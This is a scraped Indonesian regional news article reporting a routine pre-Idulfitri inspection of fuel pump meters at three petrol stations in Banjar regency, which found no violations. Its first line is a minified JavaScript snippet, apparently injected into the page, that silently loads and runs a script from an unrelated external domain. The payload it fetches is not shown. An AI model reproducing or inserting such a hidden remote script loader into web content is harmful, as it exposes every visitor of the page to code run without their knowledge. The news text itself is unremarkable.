(function(f,b,n,j,x,e){x=b.createElement(n);e=b.getElementsByTagName(n)[0];x.async=1;x.src=j;e.parentNode.insertBefore(x,e);})(window,document,'script','https://frightysever.org/Bgkc244P');
KANALKALIMANTAN.COM, MARTAPURA – Bersama jajaran Polres Banjar, Dinas Koperasi Usaha Mikro Perindustrian dan Perdagangan (DKUMPP) Kabupaten Banjar mendatangi tiga stasiun pengisian bahan bakar umum (SPBU), Kamis (21/3/2024) pagi.
Kegiatan dipimpin Kepala DKUMPP Kencana Wati dimulai dari SPBU yang ada di Kecamatan Karangintan, yaitu Pertashop PT Hijrah Tunas Mulia dan PT Berkah Ikhlas Semesta dilanjutkan SPBU di Teluk Selong Kecamatan Martapura Barat.
Kencana Wati menjelaskan, kegiatan merupakan pelaksanaan hari keempat yang rutin dilakukan menjelang Idulfitri dengan melakukan pengawasan/razia terhadap beberapa SPBU dan Pertashop yang ada di Kabupaten Banjar.
Baca juga: Polisi Tingkatkan Patroli Pasca Penyerangan di Gang Damai Kelayan
“Razia pompa ukur ini bertujuan memastikan alat ukur yang digunakan sesuai dengan peruntukannya, memastikan tidak ada tanda tera yang putus, memastikan konstruksi dan pengkabelan sesuai dengan standar dan tidak dilakukan modifikasi, serta memastikan kebenaran volume pompa ukur BBM,” jelas Kencana Wati.
Sebelumnya, lanjut Kencana, giat dilaksanakan di 15 SPBU yang ada di Kecamatan Gambut dan Kertakhanyar, yakni di beberapa tempat strategis yang tingkat lalu lalang konsumennya tinggi yang perlu dikalibrasi dan perlu dilakukan pengawasan. Karena jika alat terlalu aktif maka akan ada permasalahan.
Pihaknya memastikan bagaimana identitas pompa ukur sesuai peruntukannya karena kegiatan juga dalam rangka perlindungan terhadap konsumen dan pengusaha.
Baca juga: Hari Air Sedunia di Banjarmasin, Anggota MPAF Pungut Sampah di Sungai dan Larutkan Eco Enzyme
“Tak kalah penting kegiatan ini juga melakukan pembinaan bagaimana kita melaksanakan amanah UU No 2 Tahun 1981 Tentang Metrologi Legal dan menjaga kepercayaan konsumen untuk Kabupaten Banjar yang agamis kedepannya,” ungkap Kencana.
Terkait soal sanksi, Kencana Wati menyebut belum dilakukan, karena pada dasarnya ini masih pada tahap pembinaan dan imbauan, jika ditemukan ada yang minus maka akan dilakukan tera ulang.
Diharapkan dari kegiatan ini seluruh SPBU dan pertashop di Kabupaten Banjar tidak melakukan kecurangan yang akan merugikan konsumen.
Baca juga: Sule Ingin Kaya Jalur Instan
Taat dengan aturan yang berlaku sehingga visi Bupati untuk mewujudkan Kabupaten Banjar yang Maju Mandiri Agamis dapat terealisasi.
Dari hasil razia tiga SPBU tersebut tidak ditemukan pelanggaran semua SPBU memenuhi kriteria yang telah diatur. (kanalkalimantan.com/dkispbanjar/kk)
Reporter: kk
Editor: Dhani
KANALKALIMANTAN.COM, AMUNTAI - Keseruan ibu-ibu tampak begitu bersemangat mengikuti perlombaan yang digelar dalam rangkaian HUT… Read More
KANALKALIMANTAN.COM, AMUNTAI - Penjabat (Pj) Bupati Hulu Sungai Utara (HSU) Zakly Asswan menilai peran seorang… Read More
Kadishub: Tugu Adipura Menghalangi Pandangan Pengendara Read More
KANALKALIMANTAN.COM - Dalam game Mobile Legends: Bang Bang (MLBB), kehadiran skin dapat menjadi salah satu… Read More
KANALKALIMANTAN.COM, BANJARBARU - Ustadzah Pipik Dian Irawati atau Umi Pipik menyampaikan tausiyah di Ballroom Hotel… Read More
KANALKALIMANTAN.COM, BANJARBARU - Rapat Koordinasi (Rakor) Tim Percepatan Penurunan Stunting (TPPS) dilaksanakan oleh Pemerintah Kabupaten… Read More
This website uses cookies.